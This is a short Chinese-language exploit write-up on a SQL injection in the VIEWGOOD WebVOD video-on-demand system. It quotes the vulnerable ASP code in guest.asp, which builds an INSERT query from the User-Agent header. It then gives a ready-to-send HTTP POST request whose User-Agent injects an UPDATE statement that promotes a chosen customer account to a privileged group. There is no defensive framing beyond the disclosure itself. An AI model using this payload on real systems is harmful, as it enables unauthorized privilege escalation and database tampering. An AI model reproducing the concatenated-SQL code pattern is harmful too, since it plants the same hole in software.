远古视频点播系统的一个注入漏洞 's

作者：toby57

VIEWGOOD VOD视频点播系统 (WebVOD)
漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册

相关代码：

    szAgent = Request.ServerVariables("HTTP_USER_AGENT")     aTmpInfo = Split(szAgent, " (", -1, 1)     aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)      szBrowser = aAgentInfo(1)     if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then         szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)     else         szOS = aAgentInfo(2)     end if     szClientIP = Request.ServerVariables("REMOTE_ADDR")      szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"     con.Execute szSQL

HTTP_USER_AGENT我们可以自己构造

POST /webmedia/oemui/user/guest.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, Referer: 
http://you.are.fucked.cn/webmedia/oemui/user/guest.asp
 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: you.are.fucked.cn Content-Length: 75 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;  memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E